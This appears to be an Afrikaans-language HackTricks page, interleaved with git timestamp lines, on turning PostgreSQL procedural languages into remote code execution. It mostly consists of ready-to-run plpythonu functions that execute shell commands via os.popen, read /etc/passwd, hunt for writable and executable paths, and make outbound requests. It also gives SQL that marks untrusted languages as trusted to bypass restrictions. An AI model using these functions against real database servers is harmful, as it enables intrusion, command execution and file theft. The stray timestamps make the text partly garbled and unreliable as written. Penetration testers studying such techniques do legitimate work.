2024-07-19 16:28:56 +00:00
# RCE met PostgreSQL Tale
{% hint style="success" %}
Leer & oefen AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Leer & oefen GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Opleiding GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-11-03 18:57:14 +00:00
< details >
2024-07-19 16:28:56 +00:00
< summary > Ondersteun HackTricks< / summary >
2022-11-03 18:57:14 +00:00
2024-07-19 16:28:56 +00:00
* Kyk na die [**subskripsie planne** ](https://github.com/sponsors/carlospolop )!
* **Sluit aan by die** 💬 [**Discord groep** ](https://discord.gg/hRep4RUj7f ) of die [**telegram groep** ](https://t.me/peass ) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) en [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-11-03 18:57:14 +00:00
< / details >
2024-07-19 16:28:56 +00:00
{% endhint %}
2022-11-03 18:57:14 +00:00
2024-02-11 02:07:06 +00:00
## PostgreSQL Tale
2022-11-03 18:57:14 +00:00
2024-07-19 16:28:56 +00:00
Die PostgreSQL databasis waartoe jy toegang het, mag verskillende **skripting tale geïnstalleer** hê wat jy kan misbruik om **arbitraire kode** uit te voer.
2024-04-06 18:08:38 +00:00
2024-07-19 16:28:56 +00:00
Jy kan **hulle aan die gang kry** :
2022-11-03 18:57:14 +00:00
```sql
2022-12-20 18:10:20 +00:00
\dL *
2022-11-08 23:28:51 +00:00
2022-11-03 18:57:14 +00:00
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
2024-07-19 16:28:56 +00:00
Die meeste van die skripting tale wat jy in PostgreSQL kan installeer het **2 variasies** : die **vertroude** en die **onvertroude** . Die **onvertroude** sal 'n naam hê wat **eindig op "u"** en sal die weergawe wees wat jou toelaat om **kode** uit te voer en ander interessante funksies te gebruik. Dit is tale wat, indien geïnstalleer, interessant is:
2022-11-03 18:57:14 +00:00
* **plpythonu**
2022-11-03 20:00:21 +00:00
* **plpython3u**
* **plperlu**
* **pljavaU**
2022-11-03 18:57:14 +00:00
* **plrubyu**
2024-07-19 16:28:56 +00:00
* ... (enige ander programmeertaal wat 'n onveilige weergawe gebruik)
2022-11-03 18:57:14 +00:00
2022-11-03 20:03:24 +00:00
{% hint style="warning" %}
2024-07-19 16:28:56 +00:00
As jy vind dat 'n interessante taal **geïnstalleer** is maar **onvertrou** deur PostgreSQL (**`lanpltrusted`** is ** `false` **) kan jy probeer om dit **te vertrou** met die volgende lyn sodat geen beperkings deur PostgreSQL toegepas sal word:
2022-11-03 18:57:14 +00:00
```sql
2022-11-03 20:00:21 +00:00
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
2022-12-20 15:51:45 +00:00
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
2022-11-03 18:57:14 +00:00
```
2022-11-03 20:03:24 +00:00
{% endhint %}
2024-07-19 16:28:56 +00:00
{% hint style="danger" %}
2024-02-11 02:07:06 +00:00
As jy nie 'n taal sien nie, kan jy probeer om dit te laai met (**jy moet superadmin wees**):
2022-12-20 18:10:20 +00:00
```
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
```
2024-07-19 16:28:56 +00:00
{% endhint %}
2022-12-20 18:10:20 +00:00
2024-07-19 16:28:56 +00:00
Let op dat dit moontlik is om die veilige weergawes as "onveilig" te kompileer. Kyk na [**hierdie** ](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html ) byvoorbeeld. Dit is altyd die moeite werd om te probeer of jy kode kan uitvoer, selfs al vind jy net die **vertroude** een geïnstalleer.
2022-11-03 18:57:14 +00:00
2022-11-03 20:00:21 +00:00
## plpythonu/plpython3u
2022-11-03 18:57:14 +00:00
{% tabs %}
2024-07-19 16:28:56 +00:00
{% tab title="RCE" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
```
2024-04-06 18:08:38 +00:00
{% endtab %}
2024-07-19 16:28:56 +00:00
{% tab title="Kry OS gebruiker" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import os
return os.getlogin()
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
```
2024-04-06 18:08:38 +00:00
{% endtab %}
2024-07-19 16:28:56 +00:00
{% tab title="Lys gids" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT lsdir("/"); #List dir
```
2024-04-06 18:08:38 +00:00
{% endtab %}
2024-07-19 16:28:56 +00:00
{% tab title="Vind W gids" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
return ", ".join(my_find(dir))
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
```
2024-04-06 18:08:38 +00:00
{% endtab %}
2024-07-19 16:28:56 +00:00
{% tab title="Vind Lêer" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
```
2024-04-06 18:08:38 +00:00
{% endtab %}
2024-07-19 16:28:56 +00:00
{% tab title="Vind uitvoerbare lêers" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find(dir)
b = []
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
```
2024-04-06 18:08:38 +00:00
{% endtab %}
2024-07-19 16:28:56 +00:00
{% tab title="Vind exec deur subs" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
```
2024-04-06 18:08:38 +00:00
{% endtab %}
2024-07-19 16:28:56 +00:00
{% tab title="Lees" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
```
2024-04-06 18:08:38 +00:00
{% endtab %}
2024-07-19 16:28:56 +00:00
{% tab title="Kry regte" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
```
2024-04-06 18:08:38 +00:00
{% endtab %}
2024-02-11 02:07:06 +00:00
{% tab title="Versoek" %}
2022-11-03 18:57:14 +00:00
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
import urllib
r = urllib.urlopen(url)
return r.read()
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT req2('https://google.com'); #Request using python2
CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
2024-02-11 02:07:06 +00:00
from urllib import request
r = request.urlopen(url)
return r.read()
2022-11-03 18:57:14 +00:00
$$
LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
```
{% endtab %}
{% endtabs %}
2022-11-03 19:12:25 +00:00
## pgSQL
2024-02-11 02:07:06 +00:00
Kyk na die volgende bladsy:
2022-11-08 21:47:24 +00:00
2022-11-03 19:12:25 +00:00
{% content-ref url="pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md ](pl-pgsql-password-bruteforce.md )
{% endcontent-ref %}
2022-11-08 21:47:24 +00:00
## C
2024-02-11 02:07:06 +00:00
Kyk na die volgende bladsy:
2022-11-08 21:47:24 +00:00
{% content-ref url="rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md ](rce-with-postgresql-extensions.md )
{% endcontent-ref %}
2024-07-19 16:28:56 +00:00
{% hint style="success" %}
Leer & oefen AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Leer & oefen GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-11-03 18:57:14 +00:00
< details >
2024-07-19 16:28:56 +00:00
< summary > Ondersteun HackTricks< / summary >
2022-11-03 18:57:14 +00:00
2024-07-19 16:28:56 +00:00
* Kyk na die [**subskripsie planne** ](https://github.com/sponsors/carlospolop )!
* **Sluit aan by die** 💬 [**Discord groep** ](https://discord.gg/hRep4RUj7f ) of die [**telegram groep** ](https://t.me/peass ) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) en [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-11-03 18:57:14 +00:00
< / details >
2024-07-19 16:28:56 +00:00
{% endhint %}